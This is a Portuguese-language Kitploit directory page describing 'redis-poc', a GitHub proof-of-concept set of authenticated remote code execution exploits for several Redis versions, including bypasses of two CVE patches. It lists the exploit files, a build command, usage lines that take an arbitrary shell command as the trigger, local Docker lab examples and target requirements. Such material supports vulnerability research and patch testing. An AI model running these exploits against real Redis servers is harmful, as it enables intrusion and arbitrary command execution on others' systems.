Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
redis-poc — PoC de RCE para Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1 | Kitploit
Ferramentas/GitHubGitHub/berabuddies/redis-poc
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed TeamingSegurança de Banco de DadosExploração de Binários
GitHubberabuddies/redis-poc

redis-poc

PoC de RCE para Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1

Ver Repositório
487118há 27 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

RCE autenticado no Redis (double free de NACK em stream, bugs nos módulos TDigest & TopK)

Exploits de RCE não destrutivos para Redis 6.2.22, 7.4.9, 8.6.4 por meio do double free compartilhado de NACK em grupo de consumidores de stream (um bypass do patch de CVE-2026-25243), para 8.8.0 por meio de um heap overflow no TDigest no RedisBloom embutido, e para 8.8.1 por meio de um wild free no TopK (um bypass do patch de CVE-2026-25589).

Arquivos

  • A_exploit_stock.py — exploit para 6.2.22 (imagem redis:6.2.22)
  • P74_exploit.py (+ P74_g2.py) — exploit para 7.4.9 (redis:7.4)
  • P86_exploit.py — exploit para 8.6.4 (redis:8.6)
  • P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — exploit para 8.8.0 (redis:8.8.0, via heap overflow no TDigest do módulo embutido)
  • T88_exploit.py — exploit para 8.8.0 e 8.8.1 (via wild free no TopK do módulo embutido; bypass da correção incompleta de CVE-2026-25589 — funciona no RedisBloom v8.8.0 e v8.8.2)
  • A_lib.py, G2_arbread.py — helpers compartilhados (devem ficar ao lado dos exploits)
  • crc64.c/h, crcspeed.c/h — código-fonte de libcrc64.so (CRC64 do Redis, necessário para gerar payloads RESTORE válidos)
  • calibrate.sh — calcula offsets binários para builds não oficiais
  • P74_loop.sh, P86_run.sh — wrappers de repetição de boot

Build (uma única vez)

root@kitploit:~
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c

Requer: Python 3.6+ (sem pacotes pip), gcc.

Uso

root@kitploit:~
# 6.2.22 (DEBUG habilitado por padrão)
python3 A_exploit_stock.py <host> <port> [password] [trigger]

# 7.4.9 / 8.6.4 — alvo original, NÃO precisa de flag de debug
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]

# 8.8.0 — alvo original, contêiner/instância NOVO fortemente recomendado
python3 P88W_exploit.py <host> <port> [password] [trigger]

# 8.8.0 / 8.8.1 — wild free no TopK, alvo original, instância nova recomendada
python3 T88_exploit.py <host> <port> [password] [trigger]
  • password — omita (ou passe "") para alvos sem autenticação
  • trigger — comando shell; por padrão grava uma prova em /data/pwned*

Exemplos:

root@kitploit:~
# laboratório local, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"

# laboratório local, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"

# laboratório local, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"

# laboratório local, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"

Requisitos do alvo

  • 6.2.22: offsets da imagem oficial por padrão. Para outros builds, substitua os offsets (--str-format-off etc.; veja --help) ou execute ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] para gerá-los. Offsets errados derrubam o servidor alvo (leituras fora do intervalo).
  • 7.4.9 / 8.6.4 / 8.8.0 / 8.8.1: imagens oficiais originais, dispensa flag de debug.
  • Comandos disponíveis para o usuário: EVAL, RESTORE, XGROUP (8.8.0/8.8.1 também precisam do módulo RedisBloom embutido, presente por padrão).
  • Os exploits para 8.8.0/8.8.1 são sensíveis ao layout: o corredor TDigest e o wild free do TopK dependem do layout do jemalloc — use uma instância nova, sem outros clientes/comandos intercalados, e repita em caso de falha no grooming.

Notas

  • Resíduo pós-execução (deliberado, inerte): algumas chaves de exploit que mantêm chunks com double free vivos; veja HARDENING.md para detalhes. O exploit para 8.8.0 deixa ~2000 structs tdigest zeradas + uma chave oracle corrompida — não execute FLUSHALL/SAVE no alvo depois.
  • O double free compartilhado de NACK é corrigido apenas no 8.8.0 (PR #15081); o exploit para 8.8.0 usa em vez disso um bug separado e não corrigido em módulo embutido.
  • Bypasses de patch demonstrados: a variante do NACK compartilhado contorna a correção de CVE-2026-25243; o wild free do TopK contorna a correção de CVE-2026-25589 (zeramento parcial de ponteiros — TopK_Destroy ainda lê todos os ponteiros k além do heap subdimensionado tanto no RedisBloom v8.8.0 quanto no v8.8.2).
  • Confiabilidade: 6.2.22 10/10, 7.4.9 5/5, 8.6.4 25/25, 8.8.0 5/5 validados em contêineres novos. Falhas abortam de forma limpa; execute novamente ou use os wrappers.

Apenas para testes autorizados.

Baixar ferramenta